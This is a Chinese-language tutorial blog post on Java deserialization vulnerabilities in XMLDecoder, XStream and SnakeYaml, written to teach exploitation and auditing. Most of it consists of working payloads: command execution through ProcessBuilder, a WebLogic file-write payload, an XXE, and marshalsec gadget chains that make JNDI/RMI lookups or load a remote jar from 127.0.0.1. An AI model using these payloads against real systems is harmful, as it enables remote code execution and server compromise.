哔哔两句
前面把反序列化漏洞里的一大巨头“JSON”的主要问题给总结了一下,XML 和 YAML 在反序列化漏洞中也能算得上是个很常见的问题。
我例举出几个几个 XML 和 YAML 的反序列化漏洞。
-
XMLDecoder
-
XStream
-
SnakeYaml
在我遇到的项目里,这三个依赖库最常见。
其中 XMLDecoder 不同于其他几个,这个更像是反射漏洞,虽然本质上都是可以反序列化回序列化的数据,但 XMLDecoder 和 XStream 可以自由的控制类、方法、参数,SnakeYaml 一类就同 Jackson 和 fastjson 一样,本质上是调用了 get、set 和构造方法。
下面我对这3个类库的漏洞做一个演示和分析
XMLDecoder
在 Weblogic 前几次曝光的漏洞中,就是 XMLDecoder 导致的。XMLDecoder 是 JDK 的一个对象转XML的工具。
我先写上两段简单的demo。
Encode
import java.beans.XMLEncoder;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
* @author 浅蓝
* @email [email protected]
* @since 2019/4/24 12:09
public class Test {
public static void main(String[] args) throws IOException, InterruptedException {
HashMap<Object, Object> map = new HashMap<>();
map.put("123","aaaa");
map.put("321",new ArrayList<>());
XMLEncoder xmlEncoder = new XMLEncoder(System.out);
xmlEncoder.writeObject(map);
xmlEncoder.close();
}
这是一段用 XMLEncoder 生成 hashmap 对象 xml 的代码。
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.util.HashMap">
<void method="put">
<string>123</string>
<string>aaaa</string>
</void>
<void method="put">
<string>321</string>
<object class="java.util.ArrayList"/>
</void>
</object>
</java>
再拿这个生成的xml,用XMLDecoder解析
/**
* @author 浅蓝
* @email [email protected]
* @since 2019/4/24 12:09
public class Test {
public static void main(String[] args) throws IOException, InterruptedException {
String s = "<java version=\"1.8.0_131\" class=\"java.beans.XMLDecoder\">\n" +
" <object class=\"java.util.HashMap\">\n" +
" <void method=\"put\">\n" +
" <string>123</string>\n" +
" <string>aaaa</string>\n" +
" </void>\n" +
" <void method=\"put\">\n" +
" <string>321</string>\n" +
" <object class=\"java.util.ArrayList\"/>\n" +
" </void>\n" +
" </object>\n" +
"</java>";
StringBufferInputStream stringBufferInputStream = new StringBufferInputStream(s);
XMLDecoder xmlDecoder = new XMLDecoder(stringBufferInputStream);
Object o = xmlDecoder.readObject();
System.out.println(o);
}
输出的结果是
{123=aaaa, 321=[]}
成功把刚才的map对象给反序列化回来了。
自己看一下生成出来的 xml 稍微懂点代码的都能看得出来,标签里指定了类名,方法名,参数等信息。
所以可以完全可以通过修改他们来去执行代码了。
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"></void>
</object>
</java>
比如这就是一个执行 calc 命令的 payload。
看代码里的 object 标签,class 的值就是要被实例化的全类名
array 标签里就是 ProcessBuilder 对象的构造参数
然后 void 标签指定了 method 参数为 start
这些加起来,相当于执行了
new java.lang.ProcessBuilder(new String[]{"calc"}).start();
现在再看 weblogic XMLDecoder 的一些 payload 就很容易看懂了
比如
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string>
<void method="println">
<string><![CDATA[ blue ]]></string>
</void><void method="close"/>
</object>
</java>
转成代码实际上就是
java.io.PrintWriter x = new java.io.PrintWriter("servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp");
x.println("blue");
x.close();
XStream
XStream 和 XMLDecoder 差不多,都是 Java 对象和 XML 互转的库,在审计java项目时也经常能见到。
比较出名的几个项目 Bamboo 、 Struts2 、Jenkins 都有用到它,且曝出过漏洞。
XStream 有几个 CVE ,分别是 RCE、XXE、DOS,由于主题是反序列化,所以不过多介绍 XXE 和 DOS。
XXE
影响 1.4.8 及之前版本。
com.thoughtworks.xstream.io.xml.DomDriver domDriver = new com.thoughtworks.xstream.io.xml.DomDriver();
String x = "<!DOCTYPE foo [<!ELEMENT foo ANY >\n" +
"<!ENTITY % xxe SYSTEM \"http://127.0.0.1:2333/evil.dtd\" >\n" +
"%xxe;]>\n" +
"<foo>1</foo>";
domDriver.createReader(new StringReader(x));
漏洞参考
http://x-stream.github.io/CVE-2016-3674.html
DOS
影响 1.4.9 及之前版本
XStream xstream = new XStream();
xstream.fromXML("<void/>");
xstream.fromXML("<string class='void'>Hello, world!</string>");
RCE
它的 CVE 编号是 CVE-2013-7285,可以影响到 1.4.10 版本。
最近还有一个新的 CVE 编号 CVE-2019-10173,给出的 payload 和 CVE-2013-7285 没啥区别。
应该是 1.4.10 版本更新的时候加了一个通过 XStream.setupDefaultSecurity 方法 初始化安全框架的功能。
但默认不被调用,依然可以攻击 1.4.10 版本的 XStream。
XStream xstream = new XStream();
String x = "<sorted-set>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>calc</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</sorted-set>";
xstream.fromXML(x);
使用 1.4.10 版本解析这个 POC,就会执行 calc 命令。
其实 java unmarshal 反序列化利用工具“marshalsec” 里就可以生成 XStream 的很多 gadgets。
CommonsConfiguration, Rome, CommonsBeanutils, ServiceLoader, ImageIO,
BindingEnumeration, LazySearchEnumeration, SpringAbstractBeanFactoryPointcutAdvisor, SpringPartiallyComparableAdvisorHolder, Resin, XBe
an
实现的这些接口都是可以生成的 gadgets。
其中一般项目中比较常见的有 SpringAbstractBeanFactoryPointcutAdvisor、CommonsBeanutils、ImageIO、SpringPartiallyComparableAdvisorHolder
ImageIO
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
用 1.4.10 版本的 XStream 解析这段 POC 就会执行 calc 命令,因为POC加载的类有包含“javax.crypto.”包名,被列入了 XStream 的黑名单,所以无法在 > 1.4.10 版本中触发。
CommonsBeanutils
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils rmi://127.0.0.1:2333/exp
<java.util.PriorityQueue serialization="custom">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class="org.apache.commons.beanutils.BeanComparator">
<property>databaseMetaData</property>
<comparator class="java.util.Collections$ReverseComparator"/>
</comparator>
</default>
<int>3</int>
<com.sun.rowset.JdbcRowSetImpl serialization="custom">
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://127.0.0.1:2333/exp</dataSource>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default>
<iMatchColumns>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
</iMatchColumns>
<strMatchColumns>
<string>foo</string>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
</strMatchColumns>
</default>
</com.sun.rowset.JdbcRowSetImpl>
</com.sun.rowset.JdbcRowSetImpl>
<com.sun.rowset.JdbcRowSetImpl reference="../com.sun.rowset.JdbcRowSetImpl"/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
CommonsBeanutils 的这个 gadgets 利用的是 JNDI,并且没有类在黑名单里,所以可以打全版本,用最新的 1.4.11.1 都可以,只要没用
XStream.setupDefaultSecurity
。
SpringPartiallyComparableAdvisorHolder
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream SpringPartiallyComparableAdvisorHolder rmi://127.0.0.1:2333/exp
<map>
<entry>
<org.springframework.aop.target.HotSwappableTargetSource>
<target class="org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder">
<advisor class="org.springframework.aop.aspectj.AspectJPointcutAdvisor">
<advice class="org.springframework.aop.aspectj.AspectJAroundAdvice" serialization="custom">
<org.springframework.aop.aspectj.AbstractAspectJAdvice>
<default>
<argumentsIntrospected>false</argumentsIntrospected>
<declarationOrder>0</declarationOrder>
<joinPointArgumentIndex>0</joinPointArgumentIndex>
<joinPointStaticPartArgumentIndex>0</joinPointStaticPartArgumentIndex>
<aspectInstanceFactory class="org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory">
<beanFactory class="org.springframework.jndi.support.SimpleJndiBeanFactory">
<logger class="org.apache.commons.logging.impl.NoOpLog"/>
<jndiTemplate>
<logger class="org.apache.commons.logging.impl.NoOpLog"/>
</jndiTemplate>
<resourceRef>true</resourceRef>
<shareableResources>
<string>rmi://127.0.0.1:2333/exp</string>
</shareableResources>
<singletonObjects/>
<resourceTypes/>
</beanFactory>
<name>rmi://127.0.0.1:2333/exp</name>
</aspectInstanceFactory>
<declaringClass>java.lang.Object</declaringClass>
<methodName>toString</methodName>
<parameterTypes/>
</default>
</org.springframework.aop.aspectj.AbstractAspectJAdvice>
</advice>
</advisor>
</target>
</org.springframework.aop.target.HotSwappableTargetSource>
<org.springframework.aop.target.HotSwappableTargetSource reference="../org.springframework.aop.target.HotSwappableTargetSource"/>
</entry>
<entry>
<org.springframework.aop.target.HotSwappableTargetSource>
<target class="com.sun.org.apache.xpath.internal.objects.XString">
<m__obj class="string">疵</m__obj>
</target>
</org.springframework.aop.target.HotSwappableTargetSource>
<org.springframework.aop.target.HotSwappableTargetSource reference="../org.springframework.aop.target.HotSwappableTargetSource"/>
</entry>
</map>
SpringPartiallyComparableAdvisorHolder 利用 JNDI 执行代码,需要 spring aop 依赖,可影响到 1.4.11 最新版本。
SpringAbstractBeanFactoryPointcutAdvisor
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream SpringAbstractBeanFactoryPointcutAdvisor rmi://127.0.0.1:2333/exp
<map>
<entry>
<org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor serialization="custom">
<org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
<default>
<adviceBeanName>rmi://127.0.0.1:2333/exp</adviceBeanName>
<beanFactory class="org.springframework.jndi.support.SimpleJndiBeanFactory">
<logger class="org.apache.commons.logging.impl.NoOpLog"/>
<jndiTemplate>
<logger class="org.apache.commons.logging.impl.NoOpLog"/>
</jndiTemplate>
<resourceRef>true</resourceRef>
<shareableResources>
<string>rmi://127.0.0.1:2333/exp</string>
</shareableResources>
<singletonObjects/>
<resourceTypes/>
</beanFactory>
</default>
</org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
<org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
<default>
<pointcut class="org.springframework.aop.TruePointcut"/>
</default>
</org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
</org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
<org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor reference="../org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"/>
</entry>
<entry>
<org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor serialization="custom">
<org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
<default/>
</org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
<org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
<default>
<pointcut class="org.springframework.aop.TruePointcut" reference="../../../../../entry/org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor/org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor/default/pointcut"/>
</default>
</org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
</org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
<org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor reference="../org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"/>
</entry>
SpringAbstractBeanFactoryPointcutAdvisor 同样是利用 JNDI 执行代码,需要有 spring aop 的依赖,可影响到 1.4.11 最新版本。
SnakeYaml
大多数 java 项目用来处理数据基本上都是 xml 和 json 两种格式,yaml 相对来说少见一点,在我做过的一些代码审计项目里,使用 yaml 处理库最常见的就是 SnakeYaml,虽然还有 jyaml、YAMLBeans 之类的库,但我在真实环境里挺少有见到使用的。
使用方法
先导入 snakeyaml 依赖
<!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml -->
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.17</version>
</dependency>
然后输出序列化一个 javabean
Yaml yaml = new Yaml();
Person person = new Person();
person.name="giao";
person.length=18;
String dump = yaml.dump(person);
System.out.println(dump);
输出结果为
!!simple.Person {length: 18, name: giao}
!!
后面跟全类名,
{}
里是属性名和属性值,中间使用逗号分隔。
其实跟 jackson 和 fastjson 没啥区别。
特点在于它没有黑名单,不能设置私有属性,不能使用构造方法触发的 gadgets。
所以在 jackson、fastjson 这些 unmarshal 一类的 gadgets 大部分都可以拿来就用。
比如最常见的
JdbcRowSetImpl
。
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:2333/exp', autoCommit: true}
注意在构造 payload 的时候,该留空格的地方要留空格,snakeyaml 对格式校验比较严格,不然会报错。
反序列化利用工具 marshalsec 也提供了 snakeyaml 的一些 gadgets。
[SpringPropertyPathFactory, SpringAbstractBeanFactoryPointcutAdvisor, XBean, CommonsConfiguration, C3P0WrapperConnPool, C3P0RefDataSource, JdbcRowSet, ScriptEngine, ResourceGadget]
大多数都是利用 JNDI 执行代码的,jdk 的有一个 ScriptEngine ,利用的是远程加载 jar 包。
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.SnakeYAML ScriptEngine
http://127.0.0.1
:2333/
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2333/"]]]]
总结
没得总结,懒得写了,就这样吧!